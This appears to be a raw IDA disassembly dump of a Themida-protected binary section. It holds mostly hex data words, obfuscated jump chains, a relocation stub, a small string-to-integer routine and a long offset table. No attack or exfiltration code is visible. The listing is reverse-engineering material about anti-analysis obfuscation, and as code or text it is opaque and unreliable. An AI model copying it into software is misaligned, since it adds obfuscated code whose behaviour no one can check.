1B1A01BDh dd 840F0006h, 0Dh, 172D9D89h, 95FF061Bh, 61B1A95h, 31858BF5h dd 81061B30h, 0F23B35C3h, 0C67Ah, 0C800Fh, 8D0F0000h, 6 dd 25419D89h, 6A58061Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0A74DC351h, 0B5890729h dd 61B0B65h, 0FD98C66h, 68Dh, 99D2300h, 0F6061B32h, 840F04C1h dd 60h, 0E940DA80h, 58h, 8870Fh, 8B500000h, 1B12199Dh dd 0B58B5A06h, 61B22B1h, 0F5F08A60h, 80C68161h, 6A000011h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0BE29C350h, 131F23A8h, 0BDDB8C2h, 1B2C8195h dd 6C706h, 0F000000h, 9589DEB7h, 61B2A11h, 0C1CB805Eh dd 0F00F883h, 0B0F84h, 0DE8B6600h, 0F01F883h, 0FC85h, 45958B00h dd 0B8061B08h, 0 dd 7E9h, 3ADC5300h, 215D1D50h, 840FC00Bh, 7Fh, 83D88B66h dd 840F01F8h, 0B2h, 6880Fh, 9D890000h, 61B298Dh, 0F03F883h dd 4784h, 0F1D3BB00h, 0C02B7738h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 1C35343h, 2F7F4C0Eh, 288F2539h dd 7E9h, 6D4AA100h, 0FDE2CA1Eh, 2444BB66h, 7974BD8Dh, 0FFF5005Bh dd 1CE780E7h, 1B8h, 0D2B70F00h, 74BD8DF5h, 66005B79h, 0E7FFD78Bh dd 8DDFBF0Fh, 1B42F5BDh, 21958906h, 66061B31h, 664FC281h dd 2C3E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0DBC189B2h, 3890F19h, 66000000h dd 85C7D88Bh, 61B4CC4h, 5, 5FDF80FCh, 5B8h, 58E9F500h dd 8B000009h, 1B01AD95h, 2F88306h, 0C9850Fh, 0B5290000h dd 61B2215h, 0B8h, 8860F00h, 50000000h, 2B599589h, 665B061Bh dd 0BB939BAh, 7A840FC0h, 66000000h, 0BC67D381h, 0F01F883h dd 0FFFFA584h, 3F883FFh, 0FF46840Fh, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0BE91E4C3h dd 5B193840h, 8A036680h, 0B8D3h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A9C9CC3h dd 0B1526E62h, 0BD8DA310h, 5B7974h, 0E7FF48B6h, 3880Fh dd 0B70F0000h, 0EDBD8DDEh, 81061B44h, 7AB974CAh, 1C2E909h dd 14E90000h, 59000000h, 785D0A19h, 0D7764267h, 0B4792F7h dd 0AAB65627h, 834181C7h, 850F03F8h, 44h, 0BE95251h, 0F4000000h dd 308F3DE6h, 2571688Dh, 5A5A6BB7h, 4681BD8Dh, 81E9061Bh dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0A260C355h, 0BD89DF04h, 61B0075h dd 0F05F883h, 3785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0D1958923h, 0F061B0Eh dd 0E9D2BFh, 0F000008h, 78Eh, 0C78B6000h, 61ADD180h, 0F06F883h dd 5785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0A2B796B1h, 8B711681h, 418D89D7h dd 8D061B2Dh, 1B4879BDh, 519D8B06h, 80061B1Fh, 0D5E9C6EAh dd 0E9000000h, 14h, 777A9CECh, 0C7C3EEh, 5B2631C3h, 0D1F9E977h dd 0D969C902h, 0F07F883h, 3085h, 998D8900h, 8D061B0Eh dd 1B145DBDh, 1810F06h, 0F5000000h, 91DFBB66h, 14DE9h dd 0DEB70F00h, 5E8h, 471E2000h, 0BD890F87h, 61B0619h, 0AF8835Bh dd 7A850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 129031C3h, 0D242EBEBh, 0F9BD89CBh dd 8D061B13h, 1B4A71BDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0EC756771h, 0CE860D2h dd 0CA000000h, 33BDF8B1h, 89BFE7E4h, 8B271494h, 1B304985h dd 9D895A06h, 61B2A0Dh, 6E961h, 0B5290000h, 61B0005h, 55006A57h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 9E604F5Ch, 66E7A2D5h, 8160DF8Bh, 2F08A2D0h, 99A3BF14h dd 0B9617DDFh, 5AFE18A4h, 66DABF0Fh, 3F83D18Bh, 3E840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0F01DC356h, 0B65FB824h, 0F30C331h dd 104D8589h, 0C9D1061Bh, 25F19D31h, 0F47061Bh, 0BBE9D8BFh dd 8BFFFFFFh, 6A5FD9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 79C69DC3h, 7E3A8A17h, 0B70FC55Ch dd 38E0FD8h, 0F000000h, 0BD89D9BFh, 61B4C6Dh, 38C0Fh, 0BF0F0000h dd 0BB6660D8h, 0BD89A602h, 61B2939h, 0F98D8D61h, 0BB061B1Bh dd 17537014h, 2FBDB5FFh, 8166061Bh, 8DEF0FCBh, 1D9F7C85h dd 0BD8D5006h, 61B5490h, 6EFC8D8Dh, 0BCB8061Bh, 2B54831Ah dd 0D00730CFh, 754947C8h, 80B58DF8h, 8D061B6Eh, 1B6F148Dh dd 0F3CF2B06h, 0B8C933A4h, 0 dd 4674C00Bh, 1A01BD83h, 7400061Bh, 9595FF06h, 8B061B1Ah dd 1B4C6DB5h, 7C858D06h, 0FF061D9Fh, 0CA858DD0h, 0FF061B40h dd 5585C7D0h, 1061B14h, 8B000000h, 1B10D9A5h, 0DDB58B06h dd 8B061B13h, 1B1A61ADh, 0C2C03306h, 0DB81000Ch, 3FA80ADDh dd 2FB98D89h, 0B529061Bh, 61B03A9h, 0D91BD83h, 0F00061Bh dd 2B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0FA7AE1CBh, 3D195FFh, 9D29061Bh dd 61B0661h, 2FA1BD83h, 0F00061Bh, 12285h, 39852900h, 83061B30h dd 1B1CD5BDh, 850F0106h, 10Fh, 15BD83F9h, 61B11h, 101840Fh dd 0B70F0000h, 0C0BD83D6h, 61B4Ch, 0F1840Fh, 9CBA0000h dd 8D1D939Ah, 1D9F7C85h, 8BDA8B06h, 1B4C6DB5h, 0FFC8B706h dd 49958BD0h, 0C6061B17h, 1B239D85h, 0BD015406h, 61B0BADh dd 4E8h, 4EBEF400h, 50F88AFFh, 448B5B51h, 0E9520424h, 0Dh dd 0B8D3CFC7h, 0FE3A0AE4h, 55D1912h, 8B5A1Fh, 89D18B66h dd 66042444h, 6A58D68Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0F2CC350h, 0B5FFD9B7h dd 61B2BF9h, 8E9h, 0A9E0C700h, 6768B3ABh, 0E2805032h, 858D5BFFh dd 61B391Fh, 1D7BB66h, 0C381D0FFh, 71F29BC1h, 7E8h, 7F136A00h dd 34B1CECh, 0BDD8D89h, 6A5B061Bh, 1958B00h, 29061B2Bh dd 1B2AF58Dh, 8BFF6A06h, 1B03A19Dh, 0B7D0FF06h, 11B5FFD1h dd 89061B00h, 1B168985h, 0BD95FF06h, 2B061B2Fh, 1B10619Dh dd 0B5958B06h, 8B061B22h, 1B4C6DB5h, 0A1BD2906h, 0C3061B25h dd 0DE8h, 6CE3500h, 0C5912D1Eh, 0B4C8AD15h, 0F281AA49h dd 0D451426h, 31B58B5Ah, 6A061B30h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F07EC352h dd 0FF60BDFh, 3D84h, 0AD9D8B00h, 0C6061B25h, 6A0006h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 132D00C3h, 0E9CA3EA8h, 6, 68747169h, 0BF0F002Eh, 0CAABADBh dd 8589218Ch, 61B4C75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 92C35747h, 8B689087h, 0F883D9h, 3EA840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 816AC8C3h, 3189CC0Eh, 1B02CDB5h, 0B806h dd 9D010000h, 61B2A81h, 0F00F883h, 0EC84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 13E8E162h, 72000000h, 0A965F0C4h, 6D57AA66h, 4D93EA9h dd 0DAEA4A0Ch, 0BF0FC590h, 0F8835BD9h, 74850F02h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 8AC3C351h, 0DADB2C7Eh, 0E0493A07h, 5830Fh dd 81660000h, 0FB550F3h, 68Fh, 0F9958900h, 31061B06h, 1B22B59Dh dd 0F0858D06h, 29061B42h, 1B2F0195h, 9292D06h, 840F0000h dd 6, 2E65958Bh, 5150061Bh, 895ADA8Bh, 0B5892404h, 61B29D5h dd 0AD8D31C3h, 0B8061B25h, 0 dd 0E599503h, 0E9E9061Bh, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E599C355h dd 8919E5F9h, 1B008195h, 1B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 799797C3h dd 0C0E7AF96h, 296DA65Dh, 1B2939B5h, 0F5BD8D06h, 6A061B42h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0CB7DC353h, 0E840Fh, 9600000h, 1B13D595h dd 35852B06h, 61061B1Fh, 0FFE8B60h, 0E961C0B7h, 0FCh, 1CEDBD89h dd 0F883061Bh, 81850F02h, 81000000h, 36F7C4EAh, 0EDBD8D39h dd 6A061B44h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 6951C357h, 9FCEEC31h, 0E82BFE65h dd 13h, 5D065FC8h, 9415D25Ch, 98594C10h, 0F4B03EEEh, 8137AE68h dd 26DDCAE2h, 9D895B17h, 61B010Dh, 93E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 904EA4A5h, 8BE43BA9h, 0B9E680D1h, 0F03F883h, 4A85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0EAF838E9h, 771DB2E0h, 0B8A0F6Bh, 0F000000h dd 582h, 55BBBA00h, 8166160Fh, 8D8045F3h, 1B4681BDh, 0D6B70F06h dd 1BE9h, 8342B300h, 850F05F8h, 10h, 28F0Fh, 0C7B60000h dd 0A2E9h, 74C78000h, 3D858957h, 0B9061B2Eh, 5AFE18A4h dd 269958Bh, 3F83061Bh, 84840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 45E6C351h, 17134232h, 99D89B4h, 30061B02h, 148A0F0Fh dd 0E9000000h, 0Fh, 0A74375CCh, 85916D0Fh, 0FE7F950Ch dd 0D1C9BC9Dh, 419D8BC9h, 47061B0Eh, 1B859589h, 9FE9061Bh dd 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0D5D1C355h, 0FB1CBCBh, 56CB86D7h dd 5BD2B70Fh, 83D18B66h, 850F05F8h, 0ACh, 10E8h, 9B4E3100h dd 58ACF4A4h, 0CD0A29F0h, 76166CC3h, 0D1952B43h, 5A061B2Dh dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 6187C357h, 0B59310Ch, 66D0B441h dd 0F04C1F6h, 4685h, 7D8D8900h, 0B8061B29h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6FC35646h dd 7BE89E3Dh, 9589FDFDh, 61B1839h, 27E9h, 8820F00h, 57000000h dd 2C698D89h, 8B5B061Bh, 1B297985h, 0FFE78006h, 4290BA53h dd 0FF5B7412h, 0CED280E0h, 62ACBA66h, 2FBDBD83h, 0F00061Bh dd 14785h, 0EB816600h, 56501BB4h, 800F60h, 53000000h, 895A615Fh dd 9D8B2404h, 61B0E55h, 85C6E0B6h, 61B239Dh, 52006A45h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A719AC63h, 0E887FDF5h, 4, 8E726969h, 6B59BB66h, 8A525050h dd 0F310FD0h, 681h, 0F525000h, 5A585A31h, 24448B58h, 0E9008B04h dd 8, 838EB0D8h, 5579A4CEh, 4244489h, 1F27BA66h, 19D0958h dd 81061B08h, 8DE63BEBh, 0F9B5FF6Eh, 6A061B2Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 777EC357h, 0E679C792h, 0F3812928h, 7AE465CBh, 391F858Dh dd 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0D90A7DC3h, 1DA51D68h, 6AD0FFF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0F3BAC352h, 71C02BA6h, 11E86E0Dh, 26000000h, 0CD3E3598h dd 0CC1014AFh, 4610F6Bh, 0A8404E54h, 8CD9D8Bh, 8B5A061Bh dd 1B1D9995h, 0BD858906h, 33061B2Fh, 1B1F459Dh, 5E95806h dd 4F000000h, 7C637014h, 4CC4BD83h, 0F00061Bh, 6584h, 399D8B00h dd 0FF061B03h, 1B0011B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0F1FF3770h dd 1573757Ch, 0E9BD896Bh, 0BB061B31h, 36B5377Bh, 2FBD95FFh dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 5D31E8C3h, 54AEE76Dh, 0F883EFB8h, 19850F00h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6844C352h, 0BD83F9DEh, 61B0405h dd 81840F00h, 8B000000h, 1B066D9Dh, 0FE806h, 5B5B0000h dd 0F11C926Ah, 1F8A6A03h, 82350470h, 28F0F13h, 57000000h dd 0B5FF5B5Ah, 61B0405h, 1F299589h, 1B8061Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0DAF5C352h, 0D1855491h, 80AF6AF6h, 0BF0F7CEEh dd 178E9D2h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0D1D1E6C3h, 11B5FFh, 8166061Bh dd 0FF6AFDEAh, 1B0011B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 8AFFAA1Eh dd 0BDB5FFFCh, 33061B2Fh, 1B08C59Dh, 118E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 743699C3h, 4D9D09B7h, 66061B10h, 0DED9EA81h, 0BD83F85Fh dd 61B2F79h, 51850F00h, 57000000h, 5BF6CB80h, 85C639B2h dd 61B239Dh, 0EA81664Dh, 0A668F97Dh, 8B9A5B50h, 240481D0h dd 9DA2602h, 1A3D8589h, 9D29061Bh, 61B1821h, 29B5B5FFh dd 0BD01061Bh, 61B0B7Dh, 391F858Dh, 952B061Bh, 61B312Dh dd 89F5D0FFh, 1B2F7985h, 0D1B70F06h, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0AB28A8CDh, 4C6DBD89h, 0D68B061Bh, 840FC00Bh, 11h, 0E51BD31h dd 4FE9061Bh, 8B000000h, 1B181995h, 0BDB5FF06h, 8A061B2Fh dd 0B59D8BD5h, 8D061B21h, 1D9F7C85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 809BA3CEh dd 6650AED2h, 489D18Bh, 0E92DB224h, 6, 0AE201038h, 5650B83Fh dd 5490BD8Dh, 8D8D061Bh, 61B7972h, 8323BCB8h, 30CF2B74h dd 47C8D007h, 5EF87549h, 5BD8358h, 61B04h, 8D8B0674h, 61B0DC5h dd 0B8C933h, 0B000000h, 99840FC0h, 83000000h, 1B1A01BDh dd 6740006h, 1A9595FFh, 0B8061Bh, 0B000000h, 830975C0h dd 1B4C75BDh, 9740106h, 4C75BD83h, 7502061Bh, 6DB58B0Eh dd 8D061B4Ch, 1D9F7C85h, 8DD0FF06h, 1B40CA85h, 83D0FF06h dd 1B16C1BDh, 2F750206h, 10D9A58Bh, 858B061Bh, 61B0405h dd 0C7240489h, 1B145585h, 106h, 71B58B00h, 8B061B4Ch, 1B1A61ADh dd 1B806h, 0CC20000h, 0C700EB00h, 1B145585h, 106h, 0D9A58B00h dd 8B061B10h, 1B13DDB5h, 61AD8B06h, 33061B1Ah, 0CC2C0h dd 0D91BD83h, 7400061Bh, 0D1BD830Fh, 61B03h, 95FF0674h dd 61B03D1h, 4C6DB58Bh, 6AC3061Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A46AC352h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2BC35040h dd 49D5BFE3h, 0E907A129h, 0Eh, 53C6D74Fh, 4D4A0130h, 9230EE52h dd 0D22B64BAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0E1C35141h, 0FB3F67CBh, 35C38166h db 63h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_534FD1 ; --------------------------------------------------------------------------- loc_534FCF: ; CODE XREF: Themida_:00534FD4j inc eax inc edi loc_534FD1: ; CODE XREF: Themida_:00534FCDj cmp byte ptr [edi], 0 jnz short loc_534FCF xor ecx, ecx mov edi, [ebp+8] jmp short loc_535000 ; --------------------------------------------------------------------------- loc_534FDD: ; CODE XREF: Themida_:00535002j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_534FF5 ; --------------------------------------------------------------------------- loc_534FF2: ; CODE XREF: Themida_:00534FF8j mul ebx dec esi loc_534FF5: ; CODE XREF: Themida_:00534FF0j cmp esi, 0 ja short loc_534FF2 pop ebx add ecx, eax pop eax inc edi dec eax loc_535000: ; CODE XREF: Themida_:00534FDBj or eax, eax jnz short loc_534FDD mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 958Bh dd 61B2EF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 34C35040h, 0F3D907BAh, 0E9C18B3Bh, 21B72h, 59C08Eh dd 59C580h, 0 dd 2580028h, 59C580h, 258003Fh, 12FF68h, 246h, 2, 1, 4 dd 0FA37D4F5h, 5 dup(0) dd offset word_53A56E dd offset aNhwi ; "hWi" dd offset dword_53D68C dd offset byte_5398FD dd offset word_54036A dd offset word_538E0A dd offset byte_537ACD dd offset byte_538353 dd offset dword_5416E8 dd offset byte_538543 dd offset byte_538857 dd offset byte_5371D5 dd offset word_53CE9A dd offset word_54035A dd offset dword_53F234 dd offset byte_540CB3 dd offset dword_5408DC dd offset dword_5356D0 dd offset byte_53C5C9 dd offset byte_535AD4 dd offset byte_53D41B dd offset byte_53F81D dd offset byte_536ECB dd offset dword_537174 dd offset byte_535A13 dd offset dword_53A110 dd offset word_53AA3A dd offset byte_5403DF dd offset word_536596 dd offset dword_5388A4 dd offset aM0Ss9 ; "¬0Øé™9" dd offset byte_53BF9B dd offset dword_540B30 dd offset word_539926 dd offset byte_53783B dd offset byte_5395FB dd offset word_53D3DA dd offset byte_53B125 dd offset byte_53A8F1 dd offset byte_538031 dd offset byte_538531 dd offset byte_536C95 dd offset byte_53BC1D dd offset byte_53B865 dd offset word_541692 dd offset dword_53D1E0 dd offset byte_537A9D dd offset word_53CE5A dd offset word_53D3EA dd offset byte_538B0D dd offset word_535EBE dd offset dword_537494 dd offset byte_538B99 dd offset byte_54177D dd offset byte_535599 dd offset byte_53D877 dd offset word_53B196 dd offset dword_535E68 dd offset dword_537DDC dd offset dword_538754 dd offset byte_53D60D dd offset word_540EDE dd offset byte_538F89 dd offset dword_5395D4 dd offset word_54091A dd offset byte_53FDA5 dd offset dword_540370 dd offset byte_53D3AF dd offset byte_53EE17 dd offset word_541002 dd offset word_541326 dd offset byte_53FC71 dd offset word_53D84E dd offset byte_53C1C3 dd offset dword_53A700 dd offset dword_53E548 dd offset byte_53C84B dd offset word_5354A2 dd offset byte_53B92D dd offset word_53A1E2 dd offset byte_535B7F dd offset byte_53A7E5 dd offset word_53DD1E dd offset dword_53E9CC dd offset word_53A996 dd offset dword_539CA8 dd offset word_5373BE dd offset byte_538637 dd offset word_539D12 dd offset dword_53CB78 dd offset byte_53DC7B dd offset dword_53EA18 dd offset byte_5409D7 dd offset word_53C7D6 dd offset dword_53D7B8 dd offset byte_53DE31 dd offset byte_53B775 dd offset dword_535940 dd offset word_53B522 dd offset word_535672 dd offset byte_538073 dd offset byte_53DDF9 dd offset byte_5411C7 dd offset dword_53F578 dd offset word_5404E2 dd offset word_53D7C6 dd offset byte_537561 dd offset byte_5417CB dd offset word_539ACE dd offset byte_53C13F dd offset byte_5376A9 dd offset dword_53FAF0 dd offset byte_53DAC1 dd offset word_541166 dd offset word_53ED4E dd offset byte_53561B dd offset dword_53FAA4 dd offset byte_53858F dd offset byte_53D69B dd offset dword_535AF8 dd offset byte_53C7C5 dd offset word_539DEA dd offset word_5405B6 dd offset byte_541615 dd offset byte_53FD83 dd offset word_53F1B6 dd offset byte_53E229 dd offset byte_53B143 dd offset word_5369AA dd offset byte_5377C1 dd offset word_53EE3E dd offset word_539AC2 dd offset byte_5382C3 dd offset byte_5411A9 dd offset word_53A42E dd offset dword_53550C dd offset byte_540B11 dd offset byte_53870F dd offset dword_5359BC dd offset byte_53F05F dd offset word_5358CA dd offset byte_53E1C1 dd offset byte_5374E1 dd offset byte_53E5E1 dd offset word_541646 dd offset byte_5357ED dd offset word_53B106 dd offset byte_5372D1 dd offset word_53F956 dd offset aNqPrfds ; "Q¹¯rädé" dd offset word_53F65A dd offset byte_53A75B dd offset byte_54085D dd offset aMsxa ; "¬é•€" dd offset word_53C1D2 dd offset word_54042E dd offset byte_5357E3 dd offset word_53AE12 dd offset byte_5385B3 dd offset word_5365A6 dd offset byte_5402BF dd offset word_53EE56 dd offset byte_53CC8F dd offset aM0Hj ; "¬0Øh†\\" dd offset byte_53AB6F dd offset word_536FA6 dd offset word_53665E ; --------------------------------------------------------------------------- loc_53531C: ; CODE XREF: Themida_:00561D01j ; Themida_:00563E78j ... pusha pushf cld call $+5 pop edi sub edi, 61B7E2Fh mov eax, edi add edi, 61B7B47h cmp eax, [edi+2Ch] jnz short loc_53533A jmp short loc_53534D ; --------------------------------------------------------------------------- loc_53533A: ; CODE XREF: Themida_:00535336j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_535349 ; --------------------------------------------------------------------------- loc_535344: ; CODE XREF: Themida_:0053534Bj add [edi+ecx*4+40h], eax dec ecx loc_535349: ; CODE XREF: Themida_:00535342j or ecx, ecx jnz short loc_535344 loc_53534D: ; CODE XREF: Themida_:00535338j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_53535A: ; CODE XREF: Themida_:00535361j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_53535A loc_535363: ; CODE XREF: Themida_:00535E49j ; Themida_:loc_53639Ej ... lodsb push ebx mov bl, 0CDh dec bl not bl xor bl, 86h jmp loc_535601 ; --------------------------------------------------------------------------- aAbs0v@s db 'AéË0¢@S»',0 align 10h dd 0D987CB29h, 2FF1815Bh, 0E9B0CDA0h, 155Eh, 4C381h, 1C870000h dd 0AC4FE924h, 0ECC00000h, 31C2E905h, 0C9800000h, 0D4B2523Fh dd 0C280C2FEh, 6EA809Fh, 0C1E9D128h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5353BB: ; CODE XREF: Themida_:00540552j mov edi, 4F462171h jmp loc_53AAC7 ; --------------------------------------------------------------------------- loc_5353C5: ; CODE XREF: Themida_:00539CF2j mov edi, 4 add [esp+4], edi pop edi mov ebx, [esp] jmp loc_535C48 ; --------------------------------------------------------------------------- loc_5353D7: ; CODE XREF: Themida_:005399B9j neg edx sub esp, 4 mov [esp], ecx mov ecx, 19B471D7h xchg edi, ecx jmp loc_536C19 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFF73h, 5C243487h, 0B7241C89h, 3057B58Fh, 7CEE9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_535402: ; CODE XREF: Themida_:005377BCj add ebp, 4 xchg ebp, [esp] jmp loc_5399D8 ; --------------------------------------------------------------------------- loc_535410: ; CODE XREF: Themida_:005399EBj push dword ptr [esp] jmp loc_53C4F7 ; --------------------------------------------------------------------------- dd 4B951h, 4C010000h, 5E590424h, 4C681h, 47680000h, 89000009h dd 0BBB82404h, 52677965h, 7965B7BAh, 7F4BE967h, 895C0000h dd 0C8E92414h, 81000069h, 2EFh, 243C8700h, 6624248Bh, 66240489h dd 66241C87h, 0F766D387h, 0AB45E9D2h, 34FF0000h, 7ED9E924h dd 0D8010000h, 83241C8Bh, 0D80104C4h, 7A0B4B2Dh, 6D9AE90Eh dd 0FF5C0000h, 34FF2434h, 0B0ECE924h, 815E0000h, 30E3B9C2h dd 2457294Ch, 6F32E95Ah db 2 dup(0) word_5354A2 dw 57ADh ; DATA XREF: Themida_:005351B4o dd 14416CBFh, 81D7F767h, 5C3472EFh, 0D7EF812Bh, 0E96B1C38h dd 4719h, 6E7402B8h, 3FBF5753h, 2933BD1Bh, 0E6E95FF8h dd 29000008h, 34875FFEh, 1EE95C24h, 5700001Ah, 0D06F7CBFh dd 9085BA62h, 0FA019D2Fh, 2908E95Fh, 57BB0000h, 817E2A3Bh dd 505108C3h, 0E8CB8158h, 81239C26h, 15105C3h, 0E9DE0108h dd 76Dh dword_53550C dd 240C8B66h, 815E5456h, 4ECh, 24148900h, 4BAh, 0F1BB5300h ; DATA XREF: Themida_:0053529Co dd 0F7527021h, 0A885E9DBh, 0E9290000h, 4158E981h, 0E98101FBh dd 6F2D4F16h, 38EE815Dh, 29559014h, 38C681CEh, 59559014h dd 0AF3BF57h, 13E9798Eh, 0B30000B4h, 7E19E9C1h, 89560000h dd 4C681E6h, 81000000h, 4EEh, 0FE7EE900h, 0ECE9FFFFh, 0E9FFFFFDh dd 0FFFFFDE7h ; --------------------------------------------------------------------------- loc_53557C: ; CODE XREF: Themida_:0053C6BDj sub ebx, eax add ebx, 67F16E4Dh pop eax jmp loc_535A00 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 57241C89h, 2D3CE9h db 0 byte_535599 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535158o aHa db '$h',8,0 align 2 aSA db 'é{a',0 db 0 ; --------------------------------------------------------------------------- loc_5355A7: ; CODE XREF: Themida_:00536918j mov ebx, [esp] add esp, 4 push 673Fh jmp loc_53C855 ; --------------------------------------------------------------------------- loc_5355BA: ; CODE XREF: Themida_:0053834Ej sub edi, esi pop esi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp+4] jmp loc_53B498 ; --------------------------------------------------------------------------- dw 815Eh dd 4C3h, 241C8700h, 44FFE9h db 0 ; --------------------------------------------------------------------------- loc_5355ED: ; CODE XREF: Themida_:00538E5Fj xchg ebp, [esp] pop esp xor edi, ecx pop ecx push edi sub dword ptr [esp], 38486DAFh jmp loc_535A30 ; --------------------------------------------------------------------------- loc_535601: ; CODE XREF: Themida_:0053536Ej sub al, 49h sub al, bl jmp loc_536B8F ; --------------------------------------------------------------------------- loc_53560A: ; CODE XREF: Themida_:0053D060j shr esi, 5 jmp loc_541432 ; --------------------------------------------------------------------------- dw 8966h dd 48E92404h db 0FDh, 2 dup(0FFh) byte_53561B db 66h ; DATA XREF: Themida_:0053524Co dd 50240C8Bh, 2434FF54h, 969EE9h, 59CF2900h, 0EF81DFF7h dd 174AFD32h, 0A954E9h, 59CF0100h, 348E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535642: ; CODE XREF: Themida_:0054064Cj push esi mov esi, 3EA8259Ch push eax mov eax, 5C402C1Ch and eax, 11050B79h dec eax not eax jmp loc_540698 ; --------------------------------------------------------------------------- loc_53565B: ; CODE XREF: Themida_:0053B4D0j add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] xor bl, al jmp loc_5397FD ; --------------------------------------------------------------------------- aXsD db '[XéÕD',0 align 2 word_535672 dw 77FFh ; DATA XREF: Themida_:0053520Co dd 2434FF1Ch, 582434FFh, 0AF0DE951h, 3C870000h, 4895C24h dd 3115E924h, 0F7810000h, 0C8201349h, 0E95FFB89h, 6279h dd 2434875Bh, 0D324248Bh, 0E99C242Ch, 0B815h ; --------------------------------------------------------------------------- loc_5356AC: ; CODE XREF: Themida_:00537687j add edx, ecx pop ecx jmp loc_53FD95 ; --------------------------------------------------------------------------- loc_5356B4: ; CODE XREF: Themida_:0053C640j sub bl, 9Eh sub bl, al push edx mov dl, 28h xor dl, 